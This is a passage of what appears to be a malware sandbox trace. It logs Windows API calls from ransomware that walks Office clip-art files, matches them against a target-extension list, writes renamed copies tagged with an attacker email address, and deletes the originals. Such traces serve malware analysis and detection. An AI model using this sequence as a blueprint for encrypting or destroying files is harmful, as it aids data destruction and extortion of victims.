lpString2=".WMF") returned -1 [0274.692] lstrlenW (lpString=".xls") returned 4 [0274.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.692] lstrlenW (lpString=".xlsx") returned 5 [0274.692] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.692] lstrlenW (lpString=".ppt") returned 4 [0274.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0274.692] lstrlenW (lpString=".zip") returned 4 [0274.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.692] lstrlenW (lpString=".rar") returned 4 [0274.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.692] lstrlenW (lpString=".bz2") returned 4 [0274.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.693] lstrlenW (lpString=".7z") returned 3 [0274.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0274.693] lstrlenW (lpString=".dbf") returned 4 [0274.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0274.693] lstrlenW (lpString=".1cd") returned 4 [0274.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0274.693] lstrlenW (lpString=".jpg") returned 4 [0274.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.693] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.693] lstrlenW (lpString="HH00693_.WMF") returned 12 [0274.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0274.693] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=7098) returned 1 [0274.693] CloseHandle (hObject=0x38c) returned 1 [0274.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x20 [0274.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0274.694] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.694] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.694] GetLastError () returned 0x0 [0274.694] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x1bba, lpOverlapped=0x0) returned 1 [0274.703] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x1bc0, lpOverlapped=0x0) returned 1 [0274.704] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.704] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.704] SetEndOfFile (hFile=0x3a0) returned 1 [0274.704] CloseHandle (hObject=0x3a0) returned 1 [0274.704] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.704] SetEndOfFile (hFile=0x38c) returned 1 [0274.706] CloseHandle (hObject=0x38c) returned 1 [0274.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf")) returned 1 [0274.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0274.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0274.707] lstrlenW (lpString=".doc") returned 4 [0274.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.707] lstrlenW (lpString=".docx") returned 5 [0274.707] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.707] lstrlenW (lpString=".pdf") returned 4 [0274.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.707] lstrlenW (lpString=".xls") returned 4 [0274.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.707] lstrlenW (lpString=".xlsx") returned 5 [0274.707] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.707] lstrlenW (lpString=".ppt") returned 4 [0274.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0274.707] lstrlenW (lpString=".zip") returned 4 [0274.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.707] lstrlenW (lpString=".rar") returned 4 [0274.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.707] lstrlenW (lpString=".bz2") returned 4 [0274.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.707] lstrlenW (lpString=".7z") returned 3 [0274.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0274.707] lstrlenW (lpString=".dbf") returned 4 [0274.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0274.707] lstrlenW (lpString=".1cd") returned 4 [0274.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0274.708] lstrlenW (lpString=".jpg") returned 4 [0274.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0274.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0274.708] lstrlenW (lpString=".doc") returned 4 [0274.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.708] lstrlenW (lpString=".docx") returned 5 [0274.708] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.708] lstrlenW (lpString=".pdf") returned 4 [0274.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.708] lstrlenW (lpString=".xls") returned 4 [0274.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.708] lstrlenW (lpString=".xlsx") returned 5 [0274.708] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.708] lstrlenW (lpString=".ppt") returned 4 [0274.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0274.708] lstrlenW (lpString=".zip") returned 4 [0274.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.708] lstrlenW (lpString=".rar") returned 4 [0274.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.708] lstrlenW (lpString=".bz2") returned 4 [0274.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.708] lstrlenW (lpString=".7z") returned 3 [0274.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0274.708] lstrlenW (lpString=".dbf") returned 4 [0274.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0274.708] lstrlenW (lpString=".1cd") returned 4 [0274.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0274.709] lstrlenW (lpString=".jpg") returned 4 [0274.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.709] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.709] lstrlenW (lpString="HH01015_.WMF") returned 12 [0274.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0274.730] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=1148) returned 1 [0274.730] CloseHandle (hObject=0x38c) returned 1 [0274.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x20 [0274.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0274.731] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.731] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.731] GetLastError () returned 0x0 [0274.731] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x47c, lpOverlapped=0x0) returned 1 [0274.732] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x480, lpOverlapped=0x0) returned 1 [0274.733] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.733] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.733] SetEndOfFile (hFile=0x3a0) returned 1 [0274.733] CloseHandle (hObject=0x3a0) returned 1 [0274.733] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.733] SetEndOfFile (hFile=0x38c) returned 1 [0274.736] CloseHandle (hObject=0x38c) returned 1 [0274.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf")) returned 1 [0274.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0274.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0274.736] lstrlenW (lpString=".doc") returned 4 [0274.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.737] lstrlenW (lpString=".docx") returned 5 [0274.737] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.737] lstrlenW (lpString=".pdf") returned 4 [0274.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.737] lstrlenW (lpString=".xls") returned 4 [0274.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.737] lstrlenW (lpString=".xlsx") returned 5 [0274.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.737] lstrlenW (lpString=".ppt") returned 4 [0274.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0274.737] lstrlenW (lpString=".zip") returned 4 [0274.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.737] lstrlenW (lpString=".rar") returned 4 [0274.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.737] lstrlenW (lpString=".bz2") returned 4 [0274.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.737] lstrlenW (lpString=".7z") returned 3 [0274.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0274.737] lstrlenW (lpString=".dbf") returned 4 [0274.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0274.737] lstrlenW (lpString=".1cd") returned 4 [0274.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0274.737] lstrlenW (lpString=".jpg") returned 4 [0274.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0274.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0274.737] lstrlenW (lpString=".doc") returned 4 [0274.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.738] lstrlenW (lpString=".docx") returned 5 [0274.738] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.738] lstrlenW (lpString=".pdf") returned 4 [0274.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.738] lstrlenW (lpString=".xls") returned 4 [0274.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.738] lstrlenW (lpString=".xlsx") returned 5 [0274.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.738] lstrlenW (lpString=".ppt") returned 4 [0274.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0274.738] lstrlenW (lpString=".zip") returned 4 [0274.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.738] lstrlenW (lpString=".rar") returned 4 [0274.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.738] lstrlenW (lpString=".bz2") returned 4 [0274.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.738] lstrlenW (lpString=".7z") returned 3 [0274.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0274.738] lstrlenW (lpString=".dbf") returned 4 [0274.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0274.738] lstrlenW (lpString=".1cd") returned 4 [0274.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0274.738] lstrlenW (lpString=".jpg") returned 4 [0274.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.739] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.739] lstrlenW (lpString="HH01080_.WMF") returned 12 [0274.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0274.739] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=5000) returned 1 [0274.739] CloseHandle (hObject=0x38c) returned 1 [0274.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x20 [0274.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0274.739] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.739] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.740] GetLastError () returned 0x0 [0274.740] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x1388, lpOverlapped=0x0) returned 1 [0274.742] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0274.743] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.743] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.743] SetEndOfFile (hFile=0x3a0) returned 1 [0274.743] CloseHandle (hObject=0x3a0) returned 1 [0274.743] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.743] SetEndOfFile (hFile=0x38c) returned 1 [0274.745] CloseHandle (hObject=0x38c) returned 1 [0274.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf")) returned 1 [0274.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0274.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0274.746] lstrlenW (lpString=".doc") returned 4 [0274.746] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.746] lstrlenW (lpString=".docx") returned 5 [0274.746] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.746] lstrlenW (lpString=".pdf") returned 4 [0274.746] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.746] lstrlenW (lpString=".xls") returned 4 [0274.746] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.746] lstrlenW (lpString=".xlsx") returned 5 [0274.746] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.746] lstrlenW (lpString=".ppt") returned 4 [0274.746] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0274.746] lstrlenW (lpString=".zip") returned 4 [0274.746] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.746] lstrlenW (lpString=".rar") returned 4 [0274.746] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.746] lstrlenW (lpString=".bz2") returned 4 [0274.746] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.746] lstrlenW (lpString=".7z") returned 3 [0274.746] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0274.746] lstrlenW (lpString=".dbf") returned 4 [0274.746] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0274.746] lstrlenW (lpString=".1cd") returned 4 [0274.746] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0274.746] lstrlenW (lpString=".jpg") returned 4 [0274.746] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0274.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0274.747] lstrlenW (lpString=".doc") returned 4 [0274.747] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.747] lstrlenW (lpString=".docx") returned 5 [0274.747] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.747] lstrlenW (lpString=".pdf") returned 4 [0274.747] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.747] lstrlenW (lpString=".xls") returned 4 [0274.747] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.747] lstrlenW (lpString=".xlsx") returned 5 [0274.747] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.747] lstrlenW (lpString=".ppt") returned 4 [0274.747] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0274.747] lstrlenW (lpString=".zip") returned 4 [0274.747] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.747] lstrlenW (lpString=".rar") returned 4 [0274.747] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.747] lstrlenW (lpString=".bz2") returned 4 [0274.747] 